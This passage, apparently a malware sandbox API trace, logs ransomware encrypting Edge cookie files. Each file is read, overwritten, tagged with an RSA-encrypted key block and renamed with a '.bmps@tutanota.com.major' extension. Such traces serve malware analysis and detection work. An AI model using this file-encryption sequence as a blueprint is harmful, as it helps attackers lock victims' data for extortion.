lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x65bd08*, lpNumberOfBytesWritten=0x2e3f9b4*=0xf3, lpOverlapped=0x0) returned 1 [0300.490] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xf3 [0300.490] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.490] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.490] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.490] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.491] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="i09gFUiX0qywmffm4VPJSE1JDRwbPbmCXyZ3pP2Od76lMSPtbfMApIPiDsOusfQ9\nO1QxZtAhxLuBikiZgQFmfZQ2gDvMBJOZOCGpY3t7njf1V8mW/W3hC59MmpywfRM+\noydWXOqtTB13b3vW+uBUUru4S6FV7FQcglQMDAem3M45R1m+jIj9/Fz0oKZcR9JM\nVIer1VpnukR4o3z2viHygQmFPiq8kMpVHG1mBhO+XLaHHbAXAUG5lk6kVt2niHHw\nCQiv6/8vp9OPhdh/PC/vjRy1+Nv7csjxb9rmM9SGeLDL1YI19X5beqOzdq1ma/7e\n2yOfYGRmdYHx6RNm9Qywgg==\n", pcchString=0x2e3f9a8) returned 1 [0300.491] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.492] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.492] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.492] CloseHandle (hObject=0x1b90) returned 1 [0300.492] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\90A0XGCB.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\90a0xgcb.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\90A0XGCB.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\90a0xgcb.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.494] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.494] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8XKMVK96.cookie", dwFileAttributes=0x80) returned 1 [0300.495] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8XKMVK96.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8xkmvk96.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.496] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=310) returned 1 [0300.496] ReadFile (in: hFile=0x1b90, lpBuffer=0x5bd3b8, nNumberOfBytesToRead=0x136, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x136, lpOverlapped=0x0) returned 1 [0300.497] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-310, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.497] WriteFile (in: hFile=0x1b90, lpBuffer=0x5b3b90*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b3b90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x136, lpOverlapped=0x0) returned 1 [0300.497] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x136 [0300.497] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.497] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.497] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.497] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.498] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.498] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="LRBD9LYJaOgODswfTGLwHWiAmrPA12I8mOTT5F0eovICbO8eNzW9lpZMF+E8pyOA\nqlcqnqtIAjSZOUT1pJqU6bXfItIfFovikrtL72uWR/ptTaaHeskAK2073P9s5U+C\no1NIFhJD2R/Ojoc3/EUkLcHQngZHBHSY8hAIR0VNbWBdd5+EfGGdhgFgBI3GZMI0\nOEjCF+ttgAvWibGXMPZnof54MELDDh1eKQnzqlwNjb3LbeEKG+OtasQq3frLf8tv\n+ystSXFlfIfTpAR3VGJMjdLgD/Lfl2OaRaQK/4oNoq6fFbvNaYjCEmCsSZtUkiL+\nNoAZWAV8xeKs49rO8bLgFg==\n", pcchString=0x2e3f9a8) returned 1 [0300.498] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.499] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.499] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.499] CloseHandle (hObject=0x1b90) returned 1 [0300.499] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8XKMVK96.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8xkmvk96.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8XKMVK96.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8xkmvk96.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.501] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.501] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8VSHOV3Z.cookie", dwFileAttributes=0x80) returned 1 [0300.502] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8VSHOV3Z.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8vshov3z.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.503] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=426) returned 1 [0300.503] ReadFile (in: hFile=0x1b90, lpBuffer=0x57eca8, nNumberOfBytesToRead=0x1aa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57eca8*, lpNumberOfBytesRead=0x2e3f9b4*=0x1aa, lpOverlapped=0x0) returned 1 [0300.504] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-426, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.504] WriteFile (in: hFile=0x1b90, lpBuffer=0x581478*, nNumberOfBytesToWrite=0x1aa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x581478*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1aa, lpOverlapped=0x0) returned 1 [0300.504] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1aa [0300.504] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.504] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.505] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.505] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.505] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.505] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="YG/oW9a5EQu2j8stF7XuBbZ2D2t+7e8lbEd6g+viP3kkwkFxJTWowWJexWP5RVA0\nfYtdms4xZmsuCDxryeRvzepkmTCcvRooyyAdeoR2OrqVimx13knI1s7aRpqrAKu9\n4DCxBQOvv/5FIkL1rgR11iLeB7VF357bH8veQ6Z5PzD6jGkGZlidxqvd7O54iPna\n3MNUerXD7hv9asMIuo5qxO7LNyEck5+gW+O2ZQHmtlHV/ieAGnxpBTRoEO//OKYa\nY3AAVeVlUPlZuDsYyQKXt9IFIuEnOT/4GKL8ioOM9Iw7+sCVDtRM6uLWvh067iJP\n9qTInb7IMomCkDqkNYk/Bg==\n", pcchString=0x2e3f9a8) returned 1 [0300.505] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.510] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.510] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.510] CloseHandle (hObject=0x1b90) returned 1 [0300.510] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8VSHOV3Z.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8vshov3z.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8VSHOV3Z.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8vshov3z.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.514] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.514] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8OEJM9K0.cookie", dwFileAttributes=0x80) returned 1 [0300.515] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8OEJM9K0.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8oejm9k0.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.515] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=121) returned 1 [0300.516] ReadFile (in: hFile=0x1b90, lpBuffer=0x2f8b1b0, nNumberOfBytesToRead=0x79, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8b1b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x79, lpOverlapped=0x0) returned 1 [0300.517] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-121, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.517] WriteFile (in: hFile=0x1b90, lpBuffer=0x2f8ab50*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8ab50*, lpNumberOfBytesWritten=0x2e3f9b4*=0x79, lpOverlapped=0x0) returned 1 [0300.517] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x79 [0300.517] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.517] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.517] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.517] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.518] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.518] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="r3QUO6KNegambe9xFfVkqGxzgV/QaBDnVF47Vc5Qh45n+eKQCxj31m/oag+IZDmF\nJ9okzTWJj3rUWbG5Nnr/lI9eBpDNAU8J1lp3LBWe5vzOhDw8FPg+u2GrJOkIgibW\nrl1k7YNFHZhZz0vZ6MZb6Ml924tlF2FHaTqaOiZRdUVSDR7OxqBipKsRZLjX1/s0\nwjC6AKYupvFqbMhhJot3lzjKs6jSsTh26vKM76IV28n0Vn2tHqfRvu8fc/KENMly\nIiFoixUaYhPNHonH9216nnP/Cajm4yZSKwChnNJiA1mLUh0pRHlddCeOJ/Ikj8hk\nf03Qiix6r/FnmwSvDcfxsQ==\n", pcchString=0x2e3f9a8) returned 1 [0300.518] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.518] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.518] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.518] CloseHandle (hObject=0x1b90) returned 1 [0300.518] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8OEJM9K0.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8oejm9k0.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\8OEJM9K0.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\8oejm9k0.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.521] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.521] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\7R2CZ8VX.cookie", dwFileAttributes=0x80) returned 1 [0300.522] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\7R2CZ8VX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\7r2cz8vx.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.523] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=322) returned 1 [0300.523] ReadFile (in: hFile=0x1b90, lpBuffer=0x5c0240, nNumberOfBytesToRead=0x142, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c0240*, lpNumberOfBytesRead=0x2e3f9b4*=0x142, lpOverlapped=0x0) returned 1 [0300.524] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-322, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.524] WriteFile (in: hFile=0x1b90, lpBuffer=0x5c0648*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c0648*, lpNumberOfBytesWritten=0x2e3f9b4*=0x142, lpOverlapped=0x0) returned 1 [0300.524] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x142 [0300.524] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.524] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.524] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0300.524] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0300.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0300.525] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="k/vpawriFN10ZVAwQ2kVIaqpurz22UaP6/HhD9s7PKgesDDkwxhl/OJUQ5JUDUP4\nBmj7jN3pX0KwPQefDUu0Fq+kTDpIOwBj2ntGBzQECRlY6mEq3qXEpehSybG8K67/\nS6FuHfkTliuGXx0yYKgTDrfOsKVFdmukoE7y3IMe/6Mcw0dZ/G4pZQhiRYND8Pr1\nWaOhwq1qzYRZBk9LAFyCEMbMBJzVYiJBZ1YoLJJKTYIk2KsYjZ4bItQY2hwkmLiS\nF/b0RjTgZFrw6oJYODsFMJkBlP6VCVtz4E/TSsjW8/vt/8YyIfKAAVnTzsT4OHRE\nErCOSGH1zXletgHgbM94Ug==\n", pcchString=0x2e3f9a8) returned 1 [0300.525] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0300.525] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0300.525] WriteFile (in: hFile=0x1b90, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0300.526] CloseHandle (hObject=0x1b90) returned 1 [0300.526] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\7R2CZ8VX.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\7r2cz8vx.cookie"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\7R2CZ8VX.cookie.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\7r2cz8vx.cookie.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0300.528] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0300.528] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\51EI2ZMG.cookie", dwFileAttributes=0x80) returned 1 [0300.528] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\51EI2ZMG.cookie" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cookies\\51ei2zmg.cookie"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b90 [0300.529] GetFileSizeEx (in: hFile=0x1b90, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=113) returned 1 [0300.529] ReadFile (in: hFile=0x1b90, lpBuffer=0x5a6080, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a6080*, lpNumberOfBytesRead=0x2e3f9b4*=0x71, lpOverlapped=0x0) returned 1 [0300.530] SetFilePointer (in: hFile=0x1b90, lDistanceToMove=-113, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0300.530] WriteFile (in: hFile=0x1b90, lpBuffer=0x5a10c8*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: 